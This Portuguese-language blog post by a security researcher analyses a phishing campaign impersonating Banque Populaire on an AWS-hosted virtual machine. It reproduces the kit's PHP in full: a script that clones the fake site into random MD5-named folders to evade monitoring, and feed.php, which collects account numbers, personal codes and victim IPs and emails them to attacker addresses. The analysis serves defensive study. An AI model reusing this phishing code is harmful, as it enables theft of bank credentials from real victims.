Hoje em dia as empresas migraram parte da informação e infraestrutura para a Cloud. Quando se fala neste tema, fala-se p.ex, em documentação, sistemas, plataformas, infraestruturas, nomeadamente os modelos de Cloud atualmente conhecidos dentro deste contexto (ver imagem a baixo).
(fonte: wikipedia)
Este artigo não visa abordar Cloud Computing, mas o tema tornou-se tão viral que é irreal não falar sobre o assunto. Muitas empresas contratam provedores de Cloud, como a Amazon, e concebem e implantam as suas próprias infraestruturas na Cloud, contratando assim os serviços do provedor e beneficiando de toda a infraestrutura envolvente. Com alguma naturalidade, ações ilícitas dentro do contexto do cybercrime também têm crescido fortemente ao longo destes últimos anos, e este artigo apresenta uma breve análise de um caso de phishing detetado numa máquina virtual alojada na Amazon Web Services.
Atividade Suspeita
As empresas tendem em manter a segurança e performance das soluções em prol do utilizador final. Nesse sentido, usam e abusam de uma panóplia de tecnologias, tais como, dashboards de estatísticas e análise de logs em real-time, monitorização de tráfego e performance de paginas-web, entre outros, de forma a incrementar e potenciar ao máximo a qualidade do serviço e disponibilidade dos seus sistemas. Através desses mecanismos é possível identificar que serviços são acedidos, ou melhor, qual o TOP 10 de serviços acedidos durante a última hora, ou nos últimos 5 minutos, e sobre tudo, o fluxo de pedidos a esse serviço (quantidade de pedidos em média). Assim, é possível detetar atividades potencialmente maliciosas na infraestrutura. Esta não é a forma ideal para o fazer, mas foi a maneira como este caso de phishing foi identificado.
O endereço potencialmente malicioso teve um crescimento exponencial de pedidos comparativamente com o que era esperado:
http://endereco_legitimo.com/includes/-/portailinternet/9a7798c3c974490335f94a04cdc29746/
Mais, a última parte do URL, 9a7798c3c974490335f94a04cdc29746/, varia pedido a pedido, parece que existem várias replicas do sistema malicioso toda a vez que é acedido.
E.g.:
5e7bf18a88f5a46a928ea5c519d77360
5ed8f7c0ee23ad780e1d099469c6ae93
9c87c8bc29641ba5a4e51402a0d47614
Efetivamente, são valores aleatórios, e são valores de hash MD5.
A página apresentada nesta campanha de phishing é a seguinte.
Conclui-se que é uma página réplica do banco, Banque Populaire. De maneira a investigar um pouco sobre este serviço de e-banking, é possível verificar na página oficial que o serviço não suporta ligações seguras (TLS/SSL), algo impensável nesta era da informação. Para que fique mais claro, o uso de HTTPS (TLS/SSL) não serve apenas para transferir informação segura de ponta a ponta, também tem o objetivo de validar se a entidade que distribui a página ou se propõem a tal (a página consultada) é autentica (ver artigo sobre segurança da informação).
Análise Estática
Depois de confirmado que se trata de um ataque de phishing, foi conhecer-se o funcionamento e implementação desta campanha maliciosa.
Foi verificado que efetivamente dentro da diretoria: ../-/portailinternet/.. existiam enumeras diretorias em que o nome tinha sempre o mesmo número de caráteres, mais propriamente 32 (tamanho de chaves de Hash do tipo MD5, https://pt.wikipedia.org/wiki/MD5).
O tamanho da diretoria que mantém o fake site era abismal, quase 1.3 GB (foi efetuado um zip para compilar todos os ficheiros).
Ainda na raiz da diretoria ../-/portailinternet/.. foram identificados os seguintes ficheiros:
Nomeadamente: um ficheiro denominado index.php e uma diretoria diferente de todas as outras, chamada Pages.
O ficheiro index.php tem o seguinte conteúdo:
<?php //Create Random Folder $random=rand(0,100000); $md5=md5("$random"); $base=base64_encode($md5); $dst=md5("$base"); function recurse_copy($src,$dst) { $dir = opendir($src); @mkdir($dst); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($src . '/' . $file) ) { recurse_copy($src . '/' . $file,$dst . '/' . $file); } else { copy($src . '/' . $file,$dst . '/' . $file); } } } closedir($dir); } $src="Pages"; recurse_copy( $src, $dst ); header("location:$dst"); ?>
Em suma, toda a vez que é acedido o site (esta diretoria raiz), é criada uma réplica do conteúdo da diretória Pages, com base no MD5 de um número pseudo-aleatório entre 0-100000. Em seguida, é feito o encode do resultado da função de hash em base64. Por fim, é efetuada outra iteração com a função de hash MD5 com o objetivo de construir novas diretorias aleatórias com nomes semelhantes àquelas que foram mencionados mais acima.
$random=rand(0,100000); $md5=md5("$random"); $base=base64_encode($md5); $dst=md5("$base");
Este detalhe revela que o autor do código teve preocupações de segurança nesta campanha de phishing. Por exemplo, um sistema de monitorização de tráfego malicioso torna-se ineficiente em parte uma vez que o caminho da página é sempre variável toda a vez que um novo utilizador acede ao fake site. Este facto dificulta em muito a tarefa de qualquer agente de rede.
Em seguida, pode ver-se a estrutura da diretória maliciosa, Pages.
É uma estrutura muito semelhante a qualquer pagina web. A página index.html detém todo o código de formatação HTML/CSS e a página invocada quando um utilizador submete os dados de autenticação: feed.php.
<form class="ca-forms ca-forms-stitre" method="POST" name="formulaire" id="formulaire" action="feed.php" onsubmit="return false;">
feed.php
<? $ip = getenv("REMOTE_ADDR"); $time = date( "M j, Y | G:i:s A" ); $cip = "http://ipinfo.io/$ip/country"; $postal = "http://ipinfo.io/$ip/postal"; $postal1 = file_get_contents($postal); $creatorlocation1 = file_get_contents($cip); $from = $_POST['moukil']; $pass = $_POST['CCCRYC']; $usr = $_POST['CCPTE']; if ($usr== ""){ echo("<script>window.location=' http://www.banquepopulaire.fr/portailinternet/Pages/robot.txt';</script>"); } else { $message .= "#=========[ $time ]=========#\n"; //$message .= "Site : ".$_POST['$site']."\n"; //$message .= "TELEPHONE : ".$_POST['tele']."\n"; $message .= "DEPARTEMENT : ".$_POST['departement']."\n"; $message .= "N° DE COMPTE : ".$_POST['CCPTE']."\n"; $message .= "CODE PERSONNEL : ".$_POST['CCCRYC']."\n"; $message .= "#======[ $from ]======#\n"; $send = "[email protected],amine.keemail.me"; $subject = "[login] $from $ip ]"; $from = "From: PopulaireLog <[email protected]>"; mail($send,$subject,$message,$from); ehho "<meta http-equiv='Refresh' content='0; URL=final.php'>"; } ?>
Esta página recebe o endereço de IP da vítima, a sua localização geográfica, os dados de autenticação e do cartão de crédito, e envia o feed para dois endereços de e-mail:
$send = "[email protected],amine.keemail.me";
Estes são e-mails presentes em blacklists. Consegue-se obter ainda alguma informação sobre o atacante, eventualmente informação falsa.
O ficheiro final.php presente também na diretoria Pages, é uma réplica do index.html, mas neste caso o autor “tentou” converter todo o conteúdo para a linguagem php, e sem sucesso. Ele não é usado durante o processo de phishing.
O ficheiro cc.php possui parte da lógica de envio do ficheiro feed.php. Estes dois ficheiros (final.php e cc.php) parecem ser uma tentativa mal sucedida do atacante aprimorar a solução maliciosa. Mais uma vez, o ficheiro cc.php também não é usado.
Os restantes ficheiros fazem parte de toda a estrutura do fake site, funções javascript de forma a melhorar a experiência utilizador – sistema, etc.
Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt.
In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT and security in Active Directory networks. He is also Freelance Writer (Infosec. Resources Institute and Cyber Defense Magazine) and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens.
Read more here.